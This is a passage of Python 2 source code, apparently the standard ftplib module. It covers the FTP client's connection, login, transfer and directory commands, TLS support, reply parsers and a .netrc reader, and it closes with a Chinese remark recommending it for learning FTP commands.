self.login(user, passwd, acct)

def connect(self, host='', port=0, timeout=-999):
'''Connect to host. Arguments are:
- host: hostname to connect to (string, default previous host)
- port: port to connect to (integer, default previous port)
'''
if host != '':
self.host = host
if port > 0:
self.port = port
if timeout != -999:
self.timeout = timeout
self.sock = socket.create_connection((self.host, self.port), self.timeout)
self.af = self.sock.family
self.file = self.sock.makefile('rb')
self.welcome = self.getresp()
return self.welcome

def getwelcome(self):
'''Get the welcome message from the server.
(this is read and squirreled away by connect())'''
if self.debugging:
print '*welcome*', self.sanitize(self.welcome)
return self.welcome

def set_debuglevel(self, level):
'''Set the debugging level.
The required argument level means:
0: no debugging output (default)
1: print commands and responses but not body text etc.
2: also print raw lines read and sent before stripping CR/LF'''
self.debugging = level
debug = set_debuglevel

def set_pasv(self, val):
'''Use passive or active mode for data transfers.
With a false argument, use the normal PORT mode,
With a true argument, use the PASV command.'''
self.passiveserver = val

# Internal: "sanitize" a string for printing
def sanitize(self, s):
if s[:5] == 'pass ' or s[:5] == 'PASS ':
i = len(s)
while i > 5 and s[i-1] in '\r\n':
i = i-1
s = s[:5] + '*'*(i-5) + s[i:]
return repr(s)

# Internal: send one line to the server, appending CRLF
def putline(self, line):
line = line + CRLF
if self.debugging > 1: print '*put*', self.sanitize(line)
self.sock.sendall(line)

# Internal: send one command to the server (through putline())
def putcmd(self, line):
if self.debugging: print '*cmd*', self.sanitize(line)
self.putline(line)

# Internal: return one line from the server, stripping CRLF.
# Raise EOFError if the connection is closed
def getline(self):
line = self.file.readline(self.maxline + 1)
if len(line) > self.maxline:
raise Error("got more than %d bytes" % self.maxline)
if self.debugging > 1:
print '*get*', self.sanitize(line)
if not line: raise EOFError
if line[-2:] == CRLF: line = line[:-2]
elif line[-1:] in CRLF: line = line[:-1]
return line

# Internal: get a response from the server, which may possibly
# consist of multiple lines. Return a single string with no
# trailing CRLF. If the response consists of multiple lines,
# these are separated by '\n' characters in the string
def getmultiline(self):
line = self.getline()
if line[3:4] == '-':
code = line[:3]
while 1:
nextline = self.getline()
line = line + ('\n' + nextline)
if nextline[:3] == code and \
nextline[3:4] != '-':
break
return line

# Internal: get a response from the server.
# Raise various errors if the response indicates an error
def getresp(self):
resp = self.getmultiline()
if self.debugging: print '*resp*', self.sanitize(resp)
self.lastresp = resp[:3]
c = resp[:1]
if c in ('1', '2', '3'):
return resp
if c == '4':
raise error_temp, resp
if c == '5':
raise error_perm, resp
raise error_proto, resp

def voidresp(self):
"""Expect a response beginning with '2'."""
resp = self.getresp()
if resp[:1] != '2':
raise error_reply, resp
return resp

def abort(self):
'''Abort a file transfer. Uses out-of-band data.
This does not follow the procedure from the RFC to send Telnet
IP and Synch; that doesn't seem to work with the servers I've
tried. Instead, just send the ABOR command as OOB data.'''
line = 'ABOR' + CRLF
if self.debugging > 1: print '*put urgent*', self.sanitize(line)
self.sock.sendall(line, MSG_OOB)
resp = self.getmultiline()
if resp[:3] not in ('426', '225', '226'):
raise error_proto, resp

def sendcmd(self, cmd):
'''Send a command and return the response.'''
self.putcmd(cmd)
return self.getresp()

def voidcmd(self, cmd):
"""Send a command and expect a response beginning with '2'."""
self.putcmd(cmd)
return self.voidresp()

def sendport(self, host, port):
'''Send a PORT command with the current host and the given
port number.
'''
hbytes = host.split('.')
pbytes = [repr(port//256), repr(port%256)]
bytes = hbytes + pbytes
cmd = 'PORT ' + ','.join(bytes)
return self.voidcmd(cmd)

def sendeprt(self, host, port):
'''Send an EPRT command with the current host and the given port number.'''
af = 0
if self.af == socket.AF_INET:
af = 1
if self.af == socket.AF_INET6:
af = 2
if af == 0:
raise error_proto, 'unsupported address family'
fields = ['', repr(af), host, repr(port), '']
cmd = 'EPRT ' + '|'.join(fields)
return self.voidcmd(cmd)

def makeport(self):
'''Create a new socket and send a PORT command for it.'''
err = None
sock = None
for res in socket.getaddrinfo(None, 0, self.af, socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
sock = socket.socket(af, socktype, proto)
sock.bind(sa)
except socket.error, err:
if sock:
sock.close()
sock = None
continue
break
if sock is None:
if err is not None:
raise err
else:
raise socket.error("getaddrinfo returns an empty list")
sock.listen(1)
port = sock.getsockname()[1] # Get proper port
host = self.sock.getsockname()[0] # Get proper host
if self.af == socket.AF_INET:
resp = self.sendport(host, port)
else:
resp = self.sendeprt(host, port)
if self.timeout is not _GLOBAL_DEFAULT_TIMEOUT:
sock.settimeout(self.timeout)
return sock

def makepasv(self):
if self.af == socket.AF_INET:
host, port = parse227(self.sendcmd('PASV'))
else:
host, port = parse229(self.sendcmd('EPSV'), self.sock.getpeername())
return host, port

def ntransfercmd(self, cmd, rest=None):
"""Initiate a transfer over the data connection.

If the transfer is active, send a port command and the
transfer command, and accept the connection. If the server is
passive, send a pasv command, connect to it, and start the
transfer command. Either way, return the socket for the
connection and the expected size of the transfer. The
expected size may be None if it could not be determined.

Optional `rest' argument can be a string that is sent as the
argument to a REST command. This is essentially a server
marker used to tell the server to skip over any data up to the
given marker.
"""
size = None
if self.passiveserver:
host, port = self.makepasv()
conn = socket.create_connection((host, port), self.timeout)
try:
if rest is not None:
self.sendcmd("REST %s" % rest)
resp = self.sendcmd(cmd)
# Some servers apparently send a 200 reply to
# a LIST or STOR command, before the 150 reply
# (and way before the 226 reply). This seems to
# be in violation of the protocol (which only allows
# 1xx or error messages for LIST), so we just discard
# this response.
if resp[0] == '2':
resp = self.getresp()
if resp[0] != '1':
raise error_reply, resp
except:
conn.close()
raise
else:
sock = self.makeport()
try:
if rest is not None:
self.sendcmd("REST %s" % rest)
resp = self.sendcmd(cmd)
# See above.
if resp[0] == '2':
resp = self.getresp()
if resp[0] != '1':
raise error_reply, resp
conn, sockaddr = sock.accept()
if self.timeout is not _GLOBAL_DEFAULT_TIMEOUT:
conn.settimeout(self.timeout)
finally:
sock.close()
if resp[:3] == '150':
# this is conditional in case we received a 125
size = parse150(resp)
return conn, size

def transfercmd(self, cmd, rest=None):
"""Like ntransfercmd() but returns only the socket."""
return self.ntransfercmd(cmd, rest)[0]

def login(self, user = '', passwd = '', acct = ''):
'''Login, default anonymous.'''
if not user: user = 'anonymous'
if not passwd: passwd = ''
if not acct: acct = ''
if user == 'anonymous' and passwd in ('', '-'):
# If there is no anonymous ftp password specified
# then we'll just use anonymous@
# We don't send any other thing because:
# - We want to remain anonymous
# - We want to stop SPAM
# - We don't want to let ftp sites to discriminate by the user,
# host or country.
passwd = passwd + 'anonymous@'
resp = self.sendcmd('USER ' + user)
if resp[0] == '3': resp = self.sendcmd('PASS ' + passwd)
if resp[0] == '3': resp = self.sendcmd('ACCT ' + acct)
if resp[0] != '2':
raise error_reply, resp
return resp

def retrbinary(self, cmd, callback, blocksize=8192, rest=None):
"""Retrieve data in binary mode. A new port is created for you.

Args:
cmd: A RETR command.
callback: A single parameter callable to be called on each
block of data read.
blocksize: The maximum number of bytes to read from the
socket at one time. [default: 8192]
rest: Passed to transfercmd(). [default: None]

Returns:
The response code.
"""
self.voidcmd('TYPE I')
conn = self.transfercmd(cmd, rest)
while 1:
data = conn.recv(blocksize)
if not data:
break
callback(data)
conn.close()
return self.voidresp()

def retrlines(self, cmd, callback = None):
"""Retrieve data in line mode. A new port is created for you.

Args:
cmd: A RETR, LIST, NLST, or MLSD command.
callback: An optional single parameter callable that is called
for each line with the trailing CRLF stripped.
[default: print_line()]

Returns:
The response code.
"""
if callback is None: callback = print_line
resp = self.sendcmd('TYPE A')
conn = self.transfercmd(cmd)
fp = conn.makefile('rb')
while 1:
line = fp.readline(self.maxline + 1)
if len(line) > self.maxline:
raise Error("got more than %d bytes" % self.maxline)
if self.debugging > 2: print '*retr*', repr(line)
if not line:
break
if line[-2:] == CRLF:
line = line[:-2]
elif line[-1:] == '\n':
line = line[:-1]
callback(line)
fp.close()
conn.close()
return self.voidresp()

def storbinary(self, cmd, fp, blocksize=8192, callback=None, rest=None):
"""Store a file in binary mode. A new port is created for you.

Args:
cmd: A STOR command.
fp: A file-like object with a read(num_bytes) method.
blocksize: The maximum data size to read from fp and send over
the connection at once. [default: 8192]
callback: An optional single parameter callable that is called on
each block of data after it is sent. [default: None]
rest: Passed to transfercmd(). [default: None]

Returns:
The response code.
"""
self.voidcmd('TYPE I')
conn = self.transfercmd(cmd, rest)
while 1:
buf = fp.read(blocksize)
if not buf: break
conn.sendall(buf)
if callback: callback(buf)
conn.close()
return self.voidresp()

def storlines(self, cmd, fp, callback=None):
"""Store a file in line mode. A new port is created for you.

Args:
cmd: A STOR command.
fp: A file-like object with a readline() method.
callback: An optional single parameter callable that is called on
each line after it is sent. [default: None]

Returns:
The response code.
"""
self.voidcmd('TYPE A')
conn = self.transfercmd(cmd)
while 1:
buf = fp.readline(self.maxline + 1)
if len(buf) > self.maxline:
raise Error("got more than %d bytes" % self.maxline)
if not buf: break
if buf[-2:] != CRLF:
if buf[-1] in CRLF: buf = buf[:-1]
buf = buf + CRLF
conn.sendall(buf)
if callback: callback(buf)
conn.close()
return self.voidresp()

def acct(self, password):
'''Send new account name.'''
cmd = 'ACCT ' + password
return self.voidcmd(cmd)

def nlst(self, *args):
'''Return a list of files in a given directory (default the current).'''
cmd = 'NLST'
for arg in args:
cmd = cmd + (' ' + arg)
files = []
self.retrlines(cmd, files.append)
return files

def dir(self, *args):
'''List a directory in long form.
By default list current directory to stdout.
Optional last argument is callback function; all
non-empty arguments before it are concatenated to the
LIST command. (This *should* only be used for a pathname.)'''
cmd = 'LIST'
func = None
if args[-1:] and type(args[-1]) != type(''):
args, func = args[:-1], args[-1]
for arg in args:
if arg:
cmd = cmd + (' ' + arg)
self.retrlines(cmd, func)

def rename(self, fromname, toname):
'''Rename a file.'''
resp = self.sendcmd('RNFR ' + fromname)
if resp[0] != '3':
raise error_reply, resp
return self.voidcmd('RNTO ' + toname)

def delete(self, filename):
'''Delete a file.'''
resp = self.sendcmd('DELE ' + filename)
if resp[:3] in ('250', '200'):
return resp
else:
raise error_reply, resp

def cwd(self, dirname):
'''Change to a directory.'''
if dirname == '..':
try:
return self.voidcmd('CDUP')
except error_perm, msg:
if msg.args[0][:3] != '500':
raise
elif dirname == '':
dirname = '.' # does nothing, but could return error
cmd = 'CWD ' + dirname
return self.voidcmd(cmd)

def size(self, filename):
'''Retrieve the size of a file.'''
# The SIZE command is defined in RFC-3659
resp = self.sendcmd('SIZE ' + filename)
if resp[:3] == '213':
s = resp[3:].strip()
try:
return int(s)
except (OverflowError, ValueError):
return long(s)

def mkd(self, dirname):
'''Make a directory, return its full pathname.'''
resp = self.sendcmd('MKD ' + dirname)
return parse257(resp)

def rmd(self, dirname):
'''Remove a directory.'''
return self.voidcmd('RMD ' + dirname)

def pwd(self):
'''Return current working directory.'''
resp = self.sendcmd('PWD')
return parse257(resp)

def quit(self):
'''Quit, and close the connection.'''
resp = self.voidcmd('QUIT')
self.close()
return resp

def close(self):
'''Close the connection without assuming anything about it.'''
try:
file = self.file
self.file = None
if file is not None:
file.close()
finally:
sock = self.sock
self.sock = None
if sock is not None:
sock.close()

try:
import ssl
except ImportError:
pass
else:
class FTP_TLS(FTP):
'''A FTP subclass which adds TLS support to FTP as described
in RFC-4217.

Connect as usual to port 21 implicitly securing the FTP control
connection before authenticating.

Securing the data connection requires user to explicitly ask
for it by calling prot_p() method.

Usage example:
>>> from ftplib import FTP_TLS
>>> ftps = FTP_TLS('ftp.python.org')
>>> ftps.login() # login anonymously previously securing control channel
'230 Guest login ok, access restrictions apply.'
>>> ftps.prot_p() # switch to secure data connection
'200 Protection level set to P'
>>> ftps.retrlines('LIST') # list directory content securely
total 9
drwxr-xr-x 8 root wheel 1024 Jan 3 1994 .
drwxr-xr-x 8 root wheel 1024 Jan 3 1994 ..
drwxr-xr-x 2 root wheel 1024 Jan 3 1994 bin
drwxr-xr-x 2 root wheel 1024 Jan 3 1994 etc
d-wxrwxr-x 2 ftp wheel 1024 Sep 5 13:43 incoming
drwxr-xr-x 2 root wheel 1024 Nov 17 1993 lib
drwxr-xr-x 6 1094 wheel 1024 Sep 13 19:07 pub
drwxr-xr-x 3 root wheel 1024 Jan 3 1994 usr
-rw-r--r-- 1 root root 312 Aug 1 1994 welcome.msg
'226 Transfer complete.'
>>> ftps.quit()
'221 Goodbye.'
>>>
'''
ssl_version = ssl.PROTOCOL_SSLv23

def __init__(self, host='', user='', passwd='', acct='', keyfile=None,
certfile=None, context=None,
timeout=_GLOBAL_DEFAULT_TIMEOUT, source_address=None):
if context is not None and keyfile is not None:
raise ValueError("context and keyfile arguments are mutually "
"exclusive")
if context is not None and certfile is not None:
raise ValueError("context and certfile arguments are mutually "
"exclusive")
self.keyfile = keyfile
self.certfile = certfile
if context is None:
context = ssl._create_stdlib_context(self.ssl_version,
certfile=certfile,
keyfile=keyfile)
self.context = context
self._prot_p = False
FTP.__init__(self, host, user, passwd, acct, timeout)

def login(self, user='', passwd='', acct='', secure=True):
if secure and not isinstance(self.sock, ssl.SSLSocket):
self.auth()
return FTP.login(self, user, passwd, acct)

def auth(self):
'''Set up secure control connection by using TLS/SSL.'''
if isinstance(self.sock, ssl.SSLSocket):
raise ValueError("Already using TLS")
if self.ssl_version >= ssl.PROTOCOL_SSLv23:
resp = self.voidcmd('AUTH TLS')
else:
resp = self.voidcmd('AUTH SSL')
self.sock = self.context.wrap_socket(self.sock,
server_hostname=self.host)
self.file = self.sock.makefile(mode='rb')
return resp

def prot_p(self):
'''Set up secure data connection.'''
# PROT defines whether or not the data channel is to be protected.
# Though RFC-2228 defines four possible protection levels,
# RFC-4217 only recommends two, Clear and Private.
# Clear (PROT C) means that no security is to be used on the
# data-channel, Private (PROT P) means that the data-channel
# should be protected by TLS.
# PBSZ command MUST still be issued, but must have a parameter of
# '0' to indicate that no buffering is taking place and the data
# connection should not be encapsulated.
self.voidcmd('PBSZ 0')
resp = self.voidcmd('PROT P')
self._prot_p = True
return resp

def prot_c(self):
'''Set up clear text data connection.'''
resp = self.voidcmd('PROT C')
self._prot_p = False
return resp

# --- Overridden FTP methods

def ntransfercmd(self, cmd, rest=None):
conn, size = FTP.ntransfercmd(self, cmd, rest)
if self._prot_p:
conn = self.context.wrap_socket(conn,
server_hostname=self.host)
return conn, size

def retrbinary(self, cmd, callback, blocksize=8192, rest=None):
self.voidcmd('TYPE I')
conn = self.transfercmd(cmd, rest)
try:
while 1:
data = conn.recv(blocksize)
if not data:
break
callback(data)
# shutdown ssl layer
if isinstance(conn, ssl.SSLSocket):
conn.unwrap()
finally:
conn.close()
return self.voidresp()

def retrlines(self, cmd, callback = None):
if callback is None: callback = print_line
resp = self.sendcmd('TYPE A')
conn = self.transfercmd(cmd)
fp = conn.makefile('rb')
try:
while 1:
line = fp.readline(self.maxline + 1)
if len(line) > self.maxline:
raise Error("got more than %d bytes" % self.maxline)
if self.debugging > 2: print '*retr*', repr(line)
if not line:
break
if line[-2:] == CRLF:
line = line[:-2]
elif line[-1:] == '\n':
line = line[:-1]
callback(line)
# shutdown ssl layer
if isinstance(conn, ssl.SSLSocket):
conn.unwrap()
finally:
fp.close()
conn.close()
return self.voidresp()

def storbinary(self, cmd, fp, blocksize=8192, callback=None, rest=None):
self.voidcmd('TYPE I')
conn = self.transfercmd(cmd, rest)
try:
while 1:
buf = fp.read(blocksize)
if not buf: break
conn.sendall(buf)
if callback: callback(buf)
# shutdown ssl layer
if isinstance(conn, ssl.SSLSocket):
conn.unwrap()
finally:
conn.close()
return self.voidresp()

def storlines(self, cmd, fp, callback=None):
self.voidcmd('TYPE A')
conn = self.transfercmd(cmd)
try:
while 1:
buf = fp.readline(self.maxline + 1)
if len(buf) > self.maxline:
raise Error("got more than %d bytes" % self.maxline)
if not buf: break
if buf[-2:] != CRLF:
if buf[-1] in CRLF: buf = buf[:-1]
buf = buf + CRLF
conn.sendall(buf)
if callback: callback(buf)
# shutdown ssl layer
if isinstance(conn, ssl.SSLSocket):
conn.unwrap()
finally:
conn.close()
return self.voidresp()

__all__.append('FTP_TLS')
all_errors = (Error, IOError, EOFError, ssl.SSLError)


_150_re = None

def parse150(resp):
'''Parse the '150' response for a RETR request.
Returns the expected transfer size or None; size is not guaranteed to
be present in the 150 message.
'''
if resp[:3] != '150':
raise error_reply, resp
global _150_re
if _150_re is None:
import re
_150_re = re.compile("150 .* \((\d+) bytes\)", re.IGNORECASE)
m = _150_re.match(resp)
if not m:
return None
s = m.group(1)
try:
return int(s)
except (OverflowError, ValueError):
return long(s)


_227_re = None

def parse227(resp):
'''Parse the '227' response for a PASV request.
Raises error_proto if it does not contain '(h1,h2,h3,h4,p1,p2)'
Return ('host.addr.as.numbers', port#) tuple.'''

if resp[:3] != '227':
raise error_reply, resp
global _227_re
if _227_re is None:
import re
_227_re = re.compile(r'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)')
m = _227_re.search(resp)
if not m:
raise error_proto, resp
numbers = m.groups()
host = '.'.join(numbers[:4])
port = (int(numbers[4]) << 8) + int(numbers[5])
return host, port


def parse229(resp, peer):
'''Parse the '229' response for an EPSV request.
Raises error_proto if it does not contain '(|||port|)'
Return ('host.addr.as.numbers', port#) tuple.'''

if resp[:3] != '229':
raise error_reply, resp
left = resp.find('(')
if left < 0: raise error_proto, resp
right = resp.find(')', left + 1)
if right < 0:
raise error_proto, resp # should contain '(|||port|)'
if resp[left + 1] != resp[right - 1]:
raise error_proto, resp
parts = resp[left + 1:right].split(resp[left+1])
if len(parts) != 5:
raise error_proto, resp
host = peer[0]
port = int(parts[3])
return host, port


def parse257(resp):
'''Parse the '257' response for a MKD or PWD request.
This is a response to a MKD or PWD request: a directory name.
Returns the directoryname in the 257 reply.'''

if resp[:3] != '257':
raise error_reply, resp
if resp[3:5] != ' "':
return '' # Not compliant to RFC 959, but UNIX ftpd does this
dirname = ''
i = 5
n = len(resp)
while i < n:
c = resp[i]
i = i+1
if c == '"':
if i >= n or resp[i] != '"':
break
i = i+1
dirname = dirname + c
return dirname


def print_line(line):
'''Default retrlines callback to print a line.'''
print line


def ftpcp(source, sourcename, target, targetname = '', type = 'I'):
'''Copy file from one FTP-instance to another.'''
if not targetname: targetname = sourcename
type = 'TYPE ' + type
source.voidcmd(type)
target.voidcmd(type)
sourcehost, sourceport = parse227(source.sendcmd('PASV'))
target.sendport(sourcehost, sourceport)
# RFC 959: the user must "listen" [...] BEFORE sending the
# transfer request.
# So: STOR before RETR, because here the target is a "user".
treply = target.sendcmd('STOR ' + targetname)
if treply[:3] not in ('125', '150'): raise error_proto # RFC 959
sreply = source.sendcmd('RETR ' + sourcename)
if sreply[:3] not in ('125', '150'): raise error_proto # RFC 959
source.voidresp()
target.voidresp()


class Netrc:
"""Class to parse & provide access to 'netrc' format files.

See the netrc(4) man page for information on the file format.

WARNING: This class is obsolete -- use module netrc instead.

"""
__defuser = None
__defpasswd = None
__defacct = None

def __init__(self, filename=None):
if filename is None:
if "HOME" in os.environ:
filename = os.path.join(os.environ["HOME"],
".netrc")
else:
raise IOError, \
"specify file to load or set $HOME"
self.__hosts = {}
self.__macros = {}
fp = open(filename, "r")
in_macro = 0
while 1:
line = fp.readline(self.maxline + 1)
if len(line) > self.maxline:
raise Error("got more than %d bytes" % self.maxline)
if not line: break
if in_macro and line.strip():
macro_lines.append(line)
continue
elif in_macro:
self.__macros[macro_name] = tuple(macro_lines)
in_macro = 0
words = line.split()
host = user = passwd = acct = None
default = 0
i = 0
while i < len(words):
w1 = words[i]
if i+1 < len(words):
w2 = words[i + 1]
else:
w2 = None
if w1 == 'default':
default = 1
elif w1 == 'machine' and w2:
host = w2.lower()
i = i + 1
elif w1 == 'login' and w2:
user = w2
i = i + 1
elif w1 == 'password' and w2:
passwd = w2
i = i + 1
elif w1 == 'account' and w2:
acct = w2
i = i + 1
elif w1 == 'macdef' and w2:
macro_name = w2
macro_lines = []
in_macro = 1
break
i = i + 1
if default:
self.__defuser = user or self.__defuser
self.__defpasswd = passwd or self.__defpasswd
self.__defacct = acct or self.__defacct
if host:
if host in self.__hosts:
ouser, opasswd, oacct = \
self.__hosts[host]
user = user or ouser
passwd = passwd or opasswd
acct = acct or oacct
self.__hosts[host] = user, passwd, acct
fp.close()

def get_hosts(self):
"""Return a list of hosts mentioned in the .netrc file."""
return self.__hosts.keys()

def get_account(self, host):
"""Returns login information for the named host.

The return value is a triple containing userid,
password, and the accounting field.

"""
host = host.lower()
user = passwd = acct = None
if host in self.__hosts:
user, passwd, acct = self.__hosts[host]
user = user or self.__defuser
passwd = passwd or self.__defpasswd
acct = acct or self.__defacct
return user, passwd, acct

def get_macros(self):
"""Return a list of all defined macro names."""
return self.__macros.keys()

def get_macro(self, macro):
"""Return a sequence of lines which define a named macro."""
return self.__macros[macro]



def test():
'''Test program.
Usage: ftp [-d] [-r[file]] host [-l[dir]] [-d[dir]] [-p] [file] ...

-d dir
-l list
-p password
'''

if len(sys.argv) < 2:
print test.__doc__
sys.exit(0)

debugging = 0
rcfile = None
while sys.argv[1] == '-d':
debugging = debugging+1
del sys.argv[1]
if sys.argv[1][:2] == '-r':
# get name of alternate ~/.netrc file:
rcfile = sys.argv[1][2:]
del sys.argv[1]
host = sys.argv[1]
ftp = FTP(host)
ftp.set_debuglevel(debugging)
userid = passwd = acct = ''
try:
netrc = Netrc(rcfile)
except IOError:
if rcfile is not None:
sys.stderr.write("Could not open account file"
" -- using anonymous login.")
else:
try:
userid, passwd, acct = netrc.get_account(host)
except KeyError:
# no account for host
sys.stderr.write(
"No account -- using anonymous login.")
ftp.login(userid, passwd, acct)
for file in sys.argv[2:]:
if file[:2] == '-l':
ftp.dir(file[2:])
elif file[:2] == '-d':
cmd = 'CWD'
if file[2:]: cmd = cmd + ' ' + file[2:]
resp = ftp.sendcmd(cmd)
elif file == '-p':
ftp.set_pasv(not ftp.passiveserver)
else:
ftp.retrbinary('RETR ' + file, \
sys.stdout.write, 1024)
ftp.quit()


if __name__ == '__main__':
test()

ftp客户端, ftp命令比较多每个都可能调用,是学习ftp命令的好方法